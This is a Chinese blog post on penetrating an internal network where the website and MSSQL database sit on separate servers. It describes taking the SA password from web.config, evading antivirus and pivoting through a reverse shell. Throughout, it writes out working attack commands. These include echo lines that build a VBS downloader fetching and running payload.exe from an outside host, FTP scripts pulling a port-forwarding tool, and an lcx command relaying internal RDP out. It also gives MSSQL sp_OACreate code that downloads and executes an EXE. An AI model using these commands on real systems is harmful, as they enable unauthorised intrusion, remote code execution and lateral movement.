站库分离情况的渗透思路(MSSQL)

  • A+
所属分类:颓废's Blog
摘要

DOS命令:(一条一条执行) echo Set Post = CreateObject("Msxml2.XMLHTTP") >>xxx.vbs echo Set Shell = CreateObject("Wscript.Shell") >>xxx.vbs echo Post.Open "GET","http://bbs.blackbap.org/payload.exe",0 >>xxx.vbs echo Post.Send() >>xxx.vbs echo Set aGet = CreateObject("ADODB.Stream") >>xxxc.vbs echo aGet.Mode = 3 >>xxx.vbs echo aGet.Type = 1 >>xxx.vbs echo aGet.Open() >>xxx.vbs echo aGet.Write(Post.responseBody) >>xxx.vbs echo aGet.SaveToFile "c:/xxxc.exe",2 >>xxx.vbs echo wscript.sleep 1000 >>xxxc.vbs echo Shell.Run ("c:/xxx.exe") >>xxx.vbs echo open 127.0.0.1>c:/ftp.dat echo admin>>c:/ftp.dat echo admin>>c:/ftp.dat echo binary>>c:/ftp.dat echo get lcx.exe>>c:/ftp.dat echo bye>>c:/ftp.dat ftp -s:c:/ftp.dat MSSQL 命令:

1. 服务器属内网环境,站库分离,通过web.config找到数据库服务库SA帐号密码,成功添加用户(192.168.0.206) 。
2. Web服务器(192.168.0.203) 、数据库服务器(192.168.0.206)都存在symantec杀毒软件,不能转lcx.exe工具转发
3. 测试过其它的转发工具,要么被查杀,要么无法用,使用reDuh工具只能转发当前IP的,而且速度极慢,受不了0.0 。
4. 使用msfpayload生成的exe文件也被查杀,由于服务器是x64的,msfencode没有x64的编码器,所以没能反弹成功 。

思路1:关闭杀软,通过以下提供的命令下载文件(未测试)
思路2:使用msf aspx反弹,然后进行转发及跨路由渗透(已成功)

正常思路:如果没有杀软,直接传lcx.exe到192.168.0.203上,然后使用以下命令转发192.168.0.206:

c:/lcx.exe -slave 你的外网IP 51 192.168.0.206 3389                // 看了这个后,你们应该都懂的吧 0.0 。

DOS命令:(一条一条执行)

echo Set Post = CreateObject("Msxml2.XMLHTTP") >>xxx.vbs echo Set Shell = CreateObject("Wscript.Shell") >>xxx.vbs echo Post.Open "GET","http://bbs.blackbap.org/payload.exe",0 >>xxx.vbs echo Post.Send() >>xxx.vbs echo Set aGet = CreateObject("ADODB.Stream") >>xxxc.vbs echo aGet.Mode = 3 >>xxx.vbs echo aGet.Type = 1 >>xxx.vbs echo aGet.Open() >>xxx.vbs echo aGet.Write(Post.responseBody) >>xxx.vbs echo aGet.SaveToFile "c:/xxxc.exe",2 >>xxx.vbs echo wscript.sleep 1000 >>xxxc.vbs echo Shell.Run ("c:/xxx.exe") >>xxx.vbs  echo open 127.0.0.1>c:/ftp.dat echo admin>>c:/ftp.dat echo admin>>c:/ftp.dat echo binary>>c:/ftp.dat echo get lcx.exe>>c:/ftp.dat echo bye>>c:/ftp.dat ftp -s:c:/ftp.dat

MSSQL 命令:

DECLARE @js int EXEC sp_OACreate 'ScriptControl',@js OUT EXEC sp_OASetProperty @js, 'Language', 'JavaScript1.1' EXEC sp_OAMethod @js, 'Eval', NULL, 'var x = new ActiveXObject("Microsoft.XMLHTTP");x.Open("GET", "Url",0);x.Send();var s = new ActiveXObject("ADODB.Stream");s.Mode = 3;s.Type = 1;s.Open();s.Write(x.responseBody);s.SaveToFile("C://windows//自己设置保存的EXE文件名.exe",2);var r = new ActiveXObject("WScript.Shell");r.Run("C://windows//自己设置保存的EXE文件名.exe");'  declare @o int, @f int, @t int, @ret int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'C:/1.bat', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'open IP' exec @ret = sp_oamethod @f, 'writeline', NULL,'ftp账号' exec @ret = sp_oamethod @f, 'writeline', NULL,'ftp密码' exec @ret = sp_oamethod @f, 'writeline', NULL,'get lcx.exe' exec @ret = sp_oamethod @f, 'writeline', NULL,'bye'

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen:

目前评论:1   其中:访客  1   博主  0

    • 13 0